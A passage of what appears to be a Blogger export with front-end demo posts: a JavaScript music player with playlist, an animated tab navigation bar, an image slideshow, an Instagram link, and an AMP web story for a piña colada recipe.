sliderContext.style.animationName = "opacity";
sliderName.textContent = playerPlayList[count].querySelector(".player__title").textContent;
sliderTitle.textContent = playerPlayList[count].querySelector(".player__song-name").textContent;
if (sliderName.textContent.length > 16) {
const textWrap = document.createElement("span");
textWrap.className = "text-wrap";
textWrap.innerHTML = sliderName.textContent + " " + sliderName.textContent;
sliderName.innerHTML = "";
sliderName.append(textWrap);
}
if (sliderTitle.textContent.length >= 18) {
const textWrap = document.createElement("span");
textWrap.className = "text-wrap";
textWrap.innerHTML = sliderTitle.textContent + " " + sliderTitle.textContent;
sliderTitle.innerHTML = "";
sliderTitle.append(textWrap);
}
}
function changeBgBody() {
body.style.backgroundColor = bgBody[count];
}
function selectSong() {
song = playerSongs[count];
for (const item of playerSongs) {
if (item != song) {
item.pause();
item.currentTime = 0;
}
}
if (isPlay) song.play();
}
function run() {
changeSliderContext();
changeBgBody();
selectSong();
}
function playSong() {
if (song.paused) {
song.play();
playIcon.style.display = "none";
pauseIcon.style.display = "block";
}else{
song.pause();
isPlay = false;
playIcon.style.display = "";
pauseIcon.style.display = "";
}
}
function progresUpdate() {
const progresFilledWidth = (this.currentTime / this.duration) * 100 + "%";
progresFilled.style.width = progresFilledWidth;
if (isPlay && this.duration == this.currentTime) {
next();
}
if (count == sliderContentLength && song.currentTime == song.duration) {
playIcon.style.display = "block";
pauseIcon.style.display = "";
isPlay = false;
}
}
function scurb(e) {
// If we use e.offsetX, we have trouble setting the song time, when the mousemove is running
const currentTime = ( (e.clientX - progres.getBoundingClientRect().left) / progres.offsetWidth ) * song.duration;
song.currentTime = currentTime;
}
function durationSongs() {
let min = parseInt(this.duration / 60);
if (min < 10) min = "0" + min;
let sec = parseInt(this.duration % 60);
if (sec < 10) sec = "0" + sec;
const playerSongTime = `${min}:${sec}`;
this.closest(".player__song").querySelector(".player__song-time").append(playerSongTime);
}
changeSliderContext();
// add events
sliderContext.addEventListener("click", openPlayer);
sliderContext.addEventListener("animationend", () => sliderContext.style.animationName ='');
playlistButton.addEventListener("click", closePlayer);
nextButton.addEventListener("click", () => {
next(0)
});
backButton.addEventListener("click", () => {
back(0)
});
playButton.addEventListener("click", () => {
isPlay = true;
playSong();
});
playerSongs.forEach(song => {
song.addEventListener("loadeddata" , durationSongs);
song.addEventListener("timeupdate" , progresUpdate);
});
progres.addEventListener("pointerdown", (e) => {
scurb(e);
isMove = true;
});
document.addEventListener("pointermove", (e) => {
if (isMove) {
scurb(e);
song.muted = true;
}
});
document.addEventListener("pointerup", () => {
isMove = false;
song.muted = false;
});
playerPlayList.forEach((item, index) => {
item.addEventListener("click", function() {
if (index > count) {
next(index - 1);
return;
}
if (index < count) {
back(index + 1);
return;
}
});
});
</script>
<div class="player">
<div class="player__header">
<div class="player__img player__img--absolute slider">
<button class="player__button player__button--absolute--nw playlist">
<img src="http://physical-authority.surge.sh/imgs/icon/playlist.svg" alt="playlist-icon">
</button>
<button class="player__button player__button--absolute--center play">
<img src="http://physical-authority.surge.sh/imgs/icon/play.svg" alt="play-icon">
<img src="http://physical-authority.surge.sh/imgs/icon/pause.svg" alt="pause-icon">
</button>
<div class="slider__content">
<img class="img slider__img" src="http://physical-authority.surge.sh/imgs/1.jpg" alt="cover">
<img class="img slider__img" src="http://physical-authority.surge.sh/imgs/2.jpg" alt="cover">
<img class="img slider__img" src="http://physical-authority.surge.sh/imgs/3.jpg" alt="cover">
<img class="img slider__img" src="http://physical-authority.surge.sh/imgs/4.jpg" alt="cover">
<img class="img slider__img" src="http://physical-authority.surge.sh/imgs/5.jpg" alt="cover">
<img class="img slider__img" src="http://physical-authority.surge.sh/imgs/6.jpg" alt="cover">
<img class="img slider__img" src="http://physical-authority.surge.sh/imgs/7.jpg" alt="cover">
</div>
</div>
<div class="player__controls">
<button class="player__button back">
<img class="img" src="http://physical-authority.surge.sh/imgs/icon/back.svg" alt="back-icon">
</button>
<p class="player__context slider__context">
<strong class="slider__name"></strong>
<span class="player__title slider__title"></span>
</p>
<button class="player__button next">
<img class="img" src="http://physical-authority.surge.sh/imgs/icon/next.svg" alt="next-icon">
</button>
<div class="progres">
<div class="progres__filled"></div>
</div>
</div>
</div>
<ul class="player__playlist list">
<li class="player__song">
<img class="player__img img" src="http://physical-authority.surge.sh/imgs/1.jpg" alt="cover">
<p class="player__context">
<b class="player__song-name">no time</b>
<span class="flex">
<span class="player__title">lastlings</span>
<span class="player__song-time"></span>
</span>
</p>
<audio class="audio" src="http://physical-authority.surge.sh/music/1.mp3"></audio>
</li>
<li class="player__song">
<img class="player__img img" src="http://physical-authority.surge.sh/imgs/2.jpg" alt="cover">
<p class="player__context">
<b class="player__song-name">blinding lights</b>
<span class="flex">
<span class="player__title">the weeknd</span>
<span class="player__song-time"></span>
</span>
</p>
<audio class="audio" src="http://physical-authority.surge.sh/music/2.mp3"></audio>
</li>
<li class="player__song">
<img class="player__img img" src="http://physical-authority.surge.sh/imgs/3.jpg" alt="cover">
<p class="player__context">
<b class="player__song-name">джованна</b>
<span class="flex">
<span class="player__title">enrasta</span>
<span class="player__song-time"></span>
</span>
</p>
<audio class="audio" src="http://physical-authority.surge.sh/music/3.mp3"></audio>
</li>
<li class="player__song">
<img class="player__img img" src="http://physical-authority.surge.sh/imgs/4.jpg" alt="cover">
<p class="player__context">
<b class="player__song-name">a man</b>
<span class="flex">
<span class="player__title">travis scott</span>
<span class="player__song-time"></span>
</span>
</p>
<audio class="audio" src="http://physical-authority.surge.sh/music/4.mp3"></audio>
</li>
<li class="player__song">
<img class="player__img img" src="http://physical-authority.surge.sh/imgs/5.jpg" alt="cover">
<p class="player__context ">
<b class="player__song-name">unforgetting</b>
<span class="flex">
<span class="player__title">zaxx</span>
<span class="player__song-time"></span>
</span>
</p>
<audio class="audio" src="http://physical-authority.surge.sh/music/5.mp3"></audio>
</li>
<li class="player__song">
<img class="player__img img" src="http://physical-authority.surge.sh/imgs/6.jpg" alt="cover">
<p class="player__context">
<b class="player__song-name">waharan</b>
<span class="flex">
<span class="player__title">Randall</span>
<span class="player__song-time"></span>
</span>
</p>
<audio class="audio" src="http://physical-authority.surge.sh/music/6.mp3"></audio>
</li>
<li class="player__song">
<img class="player__img img" src="http://physical-authority.surge.sh/imgs/7.jpg" alt="cover">
<p class="player__context ">
<b class="player__song-name">starlight feat mr gabriel <span class="uppercase">4am</span> remix</b>
<span class="flex">
<span class="player__title">jai wolf</span>
<span class="player__song-time"></span>
</span>
</p>
<audio class="audio" src="http://physical-authority.surge.sh/music/7.mp3"></audio>
</li>
</ul>
</div>
Ankit Dalalhttp://www.blogger.com/profile/03764095608649565993noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-79459570925235667772022-02-02T00:36:00.003-08:002022-02-02T00:38:49.301-08:00Nav<p><br /></p>
<style>
@import url("https://fonts.googleapis.com/css2?family=Open+Sans&display=swap");
*,
*::before,
*::after {
margin: 0;
padding: 0;
box-sizing: border-box;
}
:root {
--background-color: #bbdefb;
--blue-50: #e3f2fd;
--blue-100: #bbdefb;
--blue-A700: #2962ff;
--green-50: #e8f5e9;
--green-100: #c8e6c9;
--green-A700: #00c853;
--purple-50: #f3e5f5;
--purple-100: #e1bee7;
--purple-A700: #aa00ff;
--orange-50: #fff3e0;
--orange-100: #ffe0b2;
--orange-A700: #ff6d00;
--orange-700: #f57c00;
--grey-900: #212121;
--white: #ffffff;
--round-button-active-color: #212121;
--translate-main-slider: 100%;
--main-slider-color: #e3f2fd;
--translate-filters-slider: 0;
--filters-container-height: 3.8rem;
--filters-wrapper-opacity: 1;
}
html {
font-size: 62.5%;
}
html,
body {
height: 100%;
}
body {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
transition: background-color 0.4s ease-in-out;
background-color: var(--background-color);
}
button {
border: none;
cursor: pointer;
background-color: transparent;
outline: none;
}
nav.amazing-tabs {
background-color: var(--white);
border-radius: 2.5rem;
user-select: none;
padding-top: 1rem;
}
.main-tabs-container {
padding: 0 1rem 1rem 1rem;
}
.main-tabs-wrapper {
position: relative;
}
ul.main-tabs,
ul.filter-tabs {
list-style-type: none;
display: flex;
}
ul.main-tabs li {
display: inline-flex;
position: relative;
padding: 1.5rem;
z-index: 1;
}
.avatar,
.avatar img {
height: 4rem;
width: 4rem;
border-radius: 50%;
pointer-events: none;
}
.avatar img {
object-fit: cover;
}
.round-button {
height: 4.8rem;
width: 4.8rem;
border-radius: 50%;
display: inline-flex;
align-items: center;
justify-content: center;
color: var(--grey-900);
transition: color 0.2s ease-in-out;
}
.round-button:hover,
.round-button.active {
color: var(--round-button-active-color);
}
.round-button svg {
pointer-events: none;
height: 2.8rem;
width: 2.8rem;
transform: translate(0, 0);
}
.main-slider {
pointer-events: none;
position: absolute;
top: 0;
left: 0;
padding: 1.5rem;
z-index: 0;
transition: transform 0.4s ease-in-out;
transform: translateX(var(--translate-main-slider));
}
.main-slider-circle {
height: 4.8rem;
width: 4.8rem;
border-radius: 50%;
transition: background-color 0.4s ease-in-out;
background-color: var(--main-slider-color);
}
.animate-jello {
animation: jello-horizontal 0.9s both;
}
@keyframes jello-horizontal {
0% {
transform: scale3d(1, 1, 1);
}
30% {
transform: scale3d(1.25, 0.75, 1);
}
40% {
transform: scale3d(0.75, 1.25, 1);
}
50% {
transform: scale3d(1.15, 0.85, 1);
}
65% {
transform: scale3d(0.95, 1.05, 1);
}
75% {
transform: scale3d(1.05, 0.95, 1);
}
100% {
transform: scale3d(1, 1, 1);
}
}
.filters-container {
overflow: hidden;
padding: 0 3rem;
transition: max-height 0.4s ease-in-out;
max-height: var(--filters-container-height);
}
.filters-wrapper {
position: relative;
transition: opacity 0.2s ease-in-out;
opacity: var(--filters-wrapper-opacity);
}
.filter-tabs {
border-radius: 1rem;
padding: 0.3rem;
overflow: hidden;
background-color: var(--orange-50);
}
.filter-tabs li {
position: relative;
z-index: 1;
display: flex;
flex: 1 0 33.33%;
}
.filter-button {
display: flex;
align-items: center;
justify-content: center;
border-radius: 0.8rem;
flex-grow: 1;
height: 3rem;
padding: 0 1.5rem;
color: var(--orange-700);
font-family: "Open Sans", sans-serif;
font-weight: 400;
font-size: 1.4rem;
}
.filter-button.filter-active {
transition: color 0.4s ease-in-out;
color: var(--grey-900);
}
.filter-slider {
pointer-events: none;
position: absolute;
padding: 0.3rem;
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: 0;
}
.filter-slider-rect {
height: 3rem;
width: 33.33%;
border-radius: 0.8rem;
background-color: var(--white);
box-shadow: 0 0.1rem 1rem -0.4rem rgba(0, 0, 0, 0.12);
transition: transform 0.4s ease-in-out;
transform: translateX(var(--translate-filters-slider));
}
</style>
<script type="text/javascript" >
// resources in description
const mainTabs = document.querySelector(".main-tabs");
const mainSliderCircle = document.querySelector(".main-slider-circle");
const roundButtons = document.querySelectorAll(".round-button");
const colors = {
blue: {
50: {
value: "#e3f2fd"
},
100: {
value: "#bbdefb"
}
},
green: {
50: {
value: "#e8f5e9"
},
100: {
value: "#c8e6c9"
}
},
purple: {
50: {
value: "#f3e5f5"
},
100: {
value: "#e1bee7"
}
},
orange: {
50: {
value: "#ffe0b2"
},
100: {
value: "#ffe0b2"
}
},
red: {
50: {
value: "#ffebee"
},
100: {
value: "#ffcdd2"
}
}
};
const getColor = (color, variant) => {
return colors[color][variant].value;
};
const handleActiveTab = (tabs, event, className) => {
tabs.forEach((tab) => {
tab.classList.remove(className);
});
if (!event.target.classList.contains(className)) {
event.target.classList.add(className);
}
};
mainTabs.addEventListener("click", (event) => {
const root = document.documentElement;
const targetColor = event.target.dataset.color;
const targetTranslateValue = event.target.dataset.translateValue;
if (event.target.classList.contains("round-button")) {
mainSliderCircle.classList.remove("animate-jello");
void mainSliderCircle.offsetWidth;
mainSliderCircle.classList.add("animate-jello");
root.style.setProperty("--translate-main-slider", targetTranslateValue);
root.style.setProperty("--main-slider-color", getColor(targetColor, 50));
root.style.setProperty("--background-color", getColor(targetColor, 100));
handleActiveTab(roundButtons, event, "active");
if (!event.target.classList.contains("gallery")) {
root.style.setProperty("--filters-container-height", "0");
root.style.setProperty("--filters-wrapper-opacity", "0");
} else {
root.style.setProperty("--filters-container-height", "3.8rem");
root.style.setProperty("--filters-wrapper-opacity", "1");
}
}
});
const filterTabs = document.querySelector(".filter-tabs");
const filterButtons = document.querySelectorAll(".filter-button");
filterTabs.addEventListener("click", (event) => {
const root = document.documentElement;
const targetTranslateValue = event.target.dataset.translateValue;
if (event.target.classList.contains("filter-button")) {
root.style.setProperty("--translate-filters-slider", targetTranslateValue);
handleActiveTab(filterButtons, event, "filter-active");
}
});
</script>
<nav class="amazing-tabs">
<div class="filters-container">
<div class="filters-wrapper">
<ul class="filter-tabs">
<li>
<button class="filter-button filter-active" data-translate-value="0">
New
</button>
</li>
<li>
<button class="filter-button" data-translate-value="100%">
Popular
</button>
</li>
<li>
<button class="filter-button" data-translate-value="200%">
Following
</button>
</li>
</ul>
<div class="filter-slider" aria-hidden="true">
<div class="filter-slider-rect"> </div>
</div>
</div>
</div>
<div class="main-tabs-container">
<div class="main-tabs-wrapper">
<ul class="main-tabs">
<li>
<button class="round-button" data-translate-value="0" data-color="red">
<span class="avatar">
<img src="https://images.pexels.com/photos/3756985/pexels-photo-3756985.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500" alt="user avatar" />
</span>
</button>
</li>
<li>
<button class="round-button gallery active" style="--round-button-active-color: #2962ff" data-translate-value="100%" data-color="blue">
<svg fill="currentColor" viewBox="0 0 16 16">
<path d="M6.002 5.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z" />
<path d="M2.002 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V3a2 2 0 0 0-2-2h-12zm12 1a1 1 0 0 1 1 1v6.5l-3.777-1.947a.5.5 0 0 0-.577.093l-3.71 3.71-2.66-1.772a.5.5 0 0 0-.63.062L1.002 12V3a1 1 0 0 1 1-1h12z" />
</svg>
</button>
</li>
<li>
<button class="round-button" style="--round-button-active-color: #00c853" data-translate-value="200%" data-color="green">
<svg fill="currentColor" viewBox="0 0 16 16">
<path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z" />
<path d="M8 4a.5.5 0 0 1 .5.5v3h3a.5.5 0 0 1 0 1h-3v3a.5.5 0 0 1-1 0v-3h-3a.5.5 0 0 1 0-1h3v-3A.5.5 0 0 1 8 4z" />
</svg>
</button>
</li>
<li>
<button class="round-button" style="--round-button-active-color: #aa00ff" data-translate-value="300%" data-color="purple">
<svg fill="currentColor" viewBox="0 0 16 16">
<path d="M8 16a2 2 0 0 0 2-2H6a2 2 0 0 0 2 2zM8 1.918l-.797.161A4.002 4.002 0 0 0 4 6c0 .628-.134 2.197-.459 3.742-.16.767-.376 1.566-.663 2.258h10.244c-.287-.692-.502-1.49-.663-2.258C12.134 8.197 12 6.628 12 6a4.002 4.002 0 0 0-3.203-3.92L8 1.917zM14.22 12c.223.447.481.801.78 1H1c.299-.199.557-.553.78-1C2.68 10.2 3 6.88 3 6c0-2.42 1.72-4.44 4.005-4.901a1 1 0 1 1 1.99 0A5.002 5.002 0 0 1 13 6c0 .88.32 4.2 1.22 6z" />
</svg>
</button>
</li>
<li>
<button class="round-button" style="--round-button-active-color: #ff6d00" data-translate-value="400%" data-color="orange">
<svg fill="currentColor" viewBox="0 0 16 16">
<path d="M0 1.5A.5.5 0 0 1 .5 1H2a.5.5 0 0 1 .485.379L2.89 3H14.5a.5.5 0 0 1 .491.592l-1.5 8A.5.5 0 0 1 13 12H4a.5.5 0 0 1-.491-.408L2.01 3.607 1.61 2H.5a.5.5 0 0 1-.5-.5zM3.102 4l1.313 7h8.17l1.313-7H3.102zM5 12a2 2 0 1 0 0 4 2 2 0 0 0 0-4zm7 0a2 2 0 1 0 0 4 2 2 0 0 0 0-4zm-7 1a1 1 0 1 1 0 2 1 1 0 0 1 0-2zm7 0a1 1 0 1 1 0 2 1 1 0 0 1 0-2z" />
</svg>
</button>
</li>
</ul>
<div class="main-slider" aria-hidden="true">
<div class="main-slider-circle"> </div>
</div>
</div>
</div>
</nav>
Ankit Dalalhttp://www.blogger.com/profile/03764095608649565993noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-91660693682968051022022-01-27T08:14:00.003-08:002022-01-27T08:14:22.720-08:00Test<p> </p>
<style>
.mySlides{display:none}
.mySlides img {vertical-align:middle;width:100%}
.wrap-dot{text-align:center;margin-top:10px}
.slideshow-container{max-width:1000px;position:relative;margin:auto}
.slideshow-container .prev,.slideshow-container .next{cursor:pointer;position:absolute;top:50%;padding:7px 15px;margin:-22px 5px 0 5px;color:white;font-weight:bold;font-size:18px;transition:0.6s ease;border-radius:50%;user-select:none}
.slideshow-container .next{right:0}
.slideshow-container .prev:hover,.slideshow-container .next:hover{background-color:rgba(0,0,0,0.8)}
.slideshow-container .text{color:#f2f2f2;font-size:15px;padding:8px 12px;position:absolute;bottom:8px;width:100%;text-align:center}
.wrap-dot .dot{cursor:pointer;height:15px;width:15px;margin:0 2px;background-color:#bbb;border-radius:50%;display:inline-block;transition:background-color 0.6s ease}
.wrap-dot .dot.active{background-color:#f89000;width:30px;border-radius:20px}
.fade{-webkit-animation-name:fade;-webkit-animation-duration:1.5s;animation-name:fade;animation-duration:1.5s}
@-webkit-keyframes fade{from{opacity:.4}to{opacity:1}}@keyframes fade{from{opacity:.4}to{opacity:1}}
@media only screen and (max-width:300px){.slideshow-container .prev,.slideshow-container .next,.slideshow-container .text{font-size:11px}}
</style>
<div class='slideshow-container'>
<div class='mySlides fade'>
<a href='#'>
<img src='https://www.w3schools.com/howto/img_snow_wide.jpg'/>
<div class='text'>Caption Text</div>
</a>
</div>
<div class='mySlides fade'>
<a href='#'>
<img src='https://www.w3schools.com/howto/img_mountains_wide.jpg'/>
<div class='text'>Caption Two</div>
</a>
</div>
<div class='mySlides fade'>
<a href='#'>
<img src='https://www.w3schools.com/howto/img_nature_wide.jpg'/>
<div class='text'>Caption Three</div>
</a>
</div>
<a class='prev' onclick='prevSlide()'>❮</a>
<a class='next' onclick='showSlides()'>❯</a>
</div>
<div class='wrap-dot'>
<span class='dot'></span>
<span class='dot'></span>
<span class='dot'></span>
</div>
<script>/*<![CDATA[*/
var timeOut = 2e3,
slideIndex = 0,
autoOn = !0;
function autoSlides() {
timeOut -= 20, 1 == autoOn && timeOut < 0 && showSlides(), setTimeout(autoSlides, 20)
}
function prevSlide() {
timeOut = 2e3;
var e = document.getElementsByClassName("mySlides"),
s = document.getElementsByClassName("dot");
for (i = 0; i < e.length; i++) e[i].style.display = "none", s[i].className = s[i].className.replace(" active", "");
--slideIndex > e.length && (slideIndex = 1), 0 == slideIndex && (slideIndex = 3), e[slideIndex - 1].style.display = "block", s[slideIndex - 1].className += " active"
}
function showSlides() {
timeOut = 2e3;
var e = document.getElementsByClassName("mySlides"),
s = document.getElementsByClassName("dot");
for (i = 0; i < e.length; i++) e[i].style.display = "none", s[i].className = s[i].className.replace(" active", "");
++slideIndex > e.length && (slideIndex = 1), e[slideIndex - 1].style.display = "block", s[slideIndex - 1].className += " active"
}
autoSlides();
/*]]>*/</script>Ankit Dalalhttp://www.blogger.com/profile/03764095608649565993noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-40252787746646051982022-01-05T08:07:00.004-08:002022-01-05T08:11:07.850-08:00Instagram<p> <a href="https://Ig.me/an5it">Instagram</a></p>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-13258792612352270812021-12-15T01:10:00.002-08:002021-12-15T01:10:57.493-08:00Webstories<!DOCTYPE html>
<html lang="en" ⚡>
<head>
<title>
Drink Template
</title>
<style amp-boilerplate>
body {
-webkit-animation: -amp-start 8s steps(1, end) 0s 1 normal both;
-moz-animation: -amp-start 8s steps(1, end) 0s 1 normal both;
-ms-animation: -amp-start 8s steps(1, end) 0s 1 normal both;
animation: -amp-start 8s steps(1, end) 0s 1 normal both
}
@-webkit-keyframes -amp-start {
from {
visibility: hidden
}
to {
visibility: visible
}
}
@-moz-keyframes -amp-start {
from {
visibility: hidden
}
to {
visibility: visible
}
}
@-ms-keyframes -amp-start {
from {
visibility: hidden
}
to {
visibility: visible
}
}
@-o-keyframes -amp-start {
from {
visibility: hidden
}
to {
visibility: visible
}
}
@keyframes -amp-start {
from {
visibility: hidden
}
to {
visibility: visible
}
}
</style>
<meta name="twitter:card">
<meta content="article" property="og:type">
<meta content="Drink Template" property="og:title">
<meta content="Recipe Steps Template built with Ampstor" property="og:description">
<meta content="https://firebasestorage.googleapis.com/v0/b/ampstor.appspot.com/o/stories%2FvpbLAE5ahJrXVN99p1osJr0LbPxHpFosZZa233MKeHA%3D.html?alt=media&token=a5dcf554-5b82-417d-9b3b-cdf68ab5227b" property="og:url">
<meta content="https://firebasestorage.googleapis.com/v0/b/ampstor.appspot.com/o/Templates_covers%2Fpinacolada.png?alt=media&token=c1bc5216-f006-4fde-af22-13f5d4badd99" property="og:image">
<noscript>
<style amp-boilerplate>
body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}
</style>
</noscript>
<style amp-custom>
:root {
--color-error: #B00020;
--color-primary: #005AF0;
}
amp-story {
color: white;
border: none;
}
.image-fit-contain img {
object-fit: contain;
}
.image-fit-cover img {
object-fit: cover;
}
.image-fit-fill img {
object-fit: fill;
}
div.center {
justify-content: center;
align-items: center;
}
div.top-center {
justify-content: center;
align-items: flex-start;
}
div.bottom-center {
justify-content: center;
align-items: flex-end;
}
div.center-left {
justify-content: start;
align-items: center;
}
div.top-left {
justify-content: start;
align-items: flex-start;
}
div.bottom-left {
justify-content: start;
align-items: flex-end;
}
div.center-right {
justify-content: flex-end;
align-items: center;
}
div.top-right {
justify-content: flex-end;
align-items: flex-start;
}
div.bottom-right {
justify-content: flex-end;
align-items: flex-end;
}
.bottom {
align-content: end;
}
.start {
align-content: start;
text-align: left;
}
.end {
align-content: end;
text-align: right;
}
.center {
align-content: center;
text-align: center;
}
.fill {
text-align: justify;
}
@media screen
and (max-width: 767px)
and (min-width: 375px){
:root {
--color-error: #B00020;
--color-primary: #005AF0;
}
amp-story {
color: white;
border: none;
}
.bottom {
align-content: end;
}
.start {
align-content: start;
text-align: left;
}
.end {
align-content: end;
text-align: right;
}
.center {
align-content: center;
text-align: center;
}
.fill {
text-align: justify;
}
}
</style>
<script async src="https://cdn.ampproject.org/v0/amp-video-0.1.js" custom-element="amp-video">
</script>
<script async src="https://cdn.ampproject.org/v0/amp-story-1.0.js" custom-element="amp-story">
</script>
<script async src="https://cdn.ampproject.org/v0/amp-font-0.1.js" custom-element="amp-font">
</script>
<script async src="https://cdn.ampproject.org/v0/amp-analytics-0.1.js" custom-element="amp-analytics">
</script>
<script async src="https://cdn.ampproject.org/v0/amp-iframe-0.1.js" custom-element="amp-iframe">
</script>
<script async src="https://cdn.ampproject.org/v0.js"></script>
<meta content="width=device-width,minimum-scale=1,initial-scale=1" name="viewport">
<meta charset="utf-8">
<link href="https://ampstor.app/story?id=qTDUrazZ1mfk" rel="canonical">
<link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Playfair Display" rel="stylesheet">
</head>
<body>
<amp-story standalone title="Drink Template" publisher="" publisher-logo-src="https://firebasestorage.googleapis.com/v0/b/ampstor.appspot.com/o/ampstor%2Famp-logo.png?alt=media&token=bc85fbd1-bf48-4891-b09f-6bf14e8d4e3b" poster-portrait-src="https://firebasestorage.googleapis.com/v0/b/ampstor.appspot.com/o/ampstor-grey-background?alt=media&token=d4bbdc24-8f27-4404-9b8a-b54d804212de">
<amp-story-page id="6fG9wGTh7i">
<amp-story-grid-layer template="fill">
<amp-img height="1024" src="https://firebasestorage.googleapis.com/v0/b/ampstor.appspot.com/o/images%2FOBBjxIsNP6gZib8d3rJVXWq0gAC3%2Fwhite.png?alt=media&token=3fa28b6e-c263-4277-baf5-c940ce86c32e" width="1024" class="image-fit-cover" style="color: #FFFFFF;opacity: 1;object-fit: cover;" layout="responsive">
</amp-img>
</amp-story-grid-layer>
<amp-story-grid-layer template="fill">
<amp-img height="1024" src="https://images.unsplash.com/photo-1586124288018-532db41fdee3?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjgwOTU5fQ" width="1024" class="image-fit-cover" style="color: #FFFFFF;opacity: 1;object-fit: cover;" animate-in="fade-in" animate-in-duration="2s" animate-in-delay="0.1s" layout="responsive">
</amp-img>
</amp-story-grid-layer>
<amp-story-grid-layer class="top" template="vertical">
<div style="">
<p style="color: #e17979;opacity: 1;font-family: Montserrat;font-size: 1em;text-align: center;font-weight: bold;">
- D I Y -
</p>
</div>
<div style="">
<p style="color: #000000;opacity: 1;font-family: Playfair Display;font-size: 1.875em;text-align: center;">
Virgin Piña Colada
</p>
</div>
<div style="">
<p style="color: #ffffff;opacity: 1;font-family: Roboto;font-size: 0.0625em;text-align: center;border-color: #040404;border-width: 3px;border-top-style: solid;margin-left: 90px;margin-right: 90px;">
</p>
</div>
<div style="">
<p style="color: #343234;opacity: 1;font-family: Montserrat;font-size: 0.75em;text-align: center;">
by lovejanjackson | April 1, 2020
</p>
</div>
</amp-story-grid-layer>
</amp-story-page>
<amp-story-page id="czlZ7wsojjb">
<amp-story-grid-layer template="fill">
<amp-img height="1024" src="https://firebasestorage.googleapis.com/v0/b/ampstor.appspot.com/o/images%2FOBBjxIsNP6gZib8d3rJVXWq0gAC3%2Fwhite.png?alt=media&token=3fa28b6e-c263-4277-baf5-c940ce86c32e" width="1024" class="image-fit-cover" style="color: #FFFFFF;opacity: 1;object-fit: cover;" layout="responsive">
</amp-img>
</amp-story-grid-layer>
<amp-story-grid-layer class="top" template="vertical">
<div style="">
<p style="color: #040404;opacity: 1;font-family: Playfair Display;font-size: 2.5em;text-align: center;margin-bottom: 50px;">
Ingredients
</p>
</div>
<div style="">
<p style="color: #040404;opacity: 1;font-family: Montserrat;font-size: 1.25em;text-align: center;">
2 Cups Ice
</p>
</div>
<div style="">
<p style="color: #040404;opacity: 1;font-family: Montserrat;font-size: 1.25em;text-align: center;">
1 Cup Pineapple chunks
</p>
</div>
<div style="">
<p style="color: #040404;opacity: 1;font-family: Montserrat;font-size: 1.25em;text-align: center;">
¾ Cup Refrigirated Coconut Cream
</p>
</div>
<div style="">
<p style="color: #040404;opacity: 1;font-family: Montserrat;font-size: 1.25em;text-align: center;">
Sweetened Coconut Flakes
</p>
</div>
<div style="">
<p style="color: #040404;opacity: 1;font-family: Montserrat;font-size: 1.25em;text-align: center;">
1 Ounce White Rum
</p>
</div>
</amp-story-grid-layer>
</amp-story-page>
<amp-story-page id="FOgyz9ekfA9">
<amp-story-grid-layer template="fill">
<amp-img height="1024" src="https://images.unsplash.com/photo-1566071732121-8f2669919fe5?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjgwOTU5fQ" width="1024" class="image-fit-cover" style="color: #FFFFFF;opacity: 1;object-fit: cover;" animate-in="fade-in" animate-in-duration="2s" animate-in-delay="0.3s" layout="responsive">
</amp-img>
</amp-story-grid-layer>
<amp-story-grid-layer class="bottom" template="vertical">
<div style="">
<p style="color: #000000;opacity: 1;font-family: Playfair Display;font-size: 1.5625em;text-align: center;font-weight: bold;" animate-in="fade-in" animate-in-duration="2s" animate-in-delay="0.5s">
- Step 1 -
</p>
</div>
<div style="">
<p style="color: #3f3d3d;opacity: 1;font-family: Montserrat;font-size: 0.875em;text-align: center;" animate-in="fade-in" animate-in-duration="2s" animate-in-delay="0.8s">
Gather the pineapples, coconut cream, ice, and coconut flakes.
</p>
</div>
</amp-story-grid-layer>
</amp-story-page>
<amp-story-page id="GCLncOiyiG_">
<amp-story-grid-layer template="fill">
<amp-img height="1024" src="https://images.unsplash.com/photo-1563417994892-38ee47f9d1f2?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjgwOTU5fQ" width="1024" class="image-fit-cover" style="color: #FFFFFF;opacity: 1;object-fit: cover;" animate-in="fade-in" animate-in-duration="2s" animate-in-delay="0.3s" layout="responsive">
</amp-img>
</amp-story-grid-layer>
<amp-story-grid-layer class="bottom" template="vertical">
<div style="">
<p style="color: #ffffff;opacity: 1;font-family: Playfair Display;font-size: 1.5625em;text-align: center;font-weight: bold;" animate-in="fade-in" animate-in-duration="2s" animate-in-delay="0.5s">
- Step 2 -
</p>
</div>
<div style="">
<p style="color: #ffffff;opacity: 1;font-family: Montserrat;font-size: 0.875em;text-align: center;" animate-in="fade-in" animate-in-duration="2s" animate-in-delay="0.8s">
Blend all the goodness together until smooth and pour in glass.
</p>
</div>
</amp-story-grid-layer>
</amp-story-page>
<amp-story-page id="7p9JVWa8qC9">
<amp-story-grid-layer template="fill">
<amp-img height="1024" src="https://firebasestorage.googleapis.com/v0/b/ampstor.appspot.com/o/images%2FOBBjxIsNP6gZib8d3rJVXWq0gAC3%2Fwhite.png?alt=media&token=3fa28b6e-c263-4277-baf5-c940ce86c32e" width="1024" class="image-fit-cover" style="color: #FFFFFF;opacity: 1;object-fit: cover;" layout="responsive">
</amp-img>
</amp-story-grid-layer>
<amp-story-grid-layer template="fill">
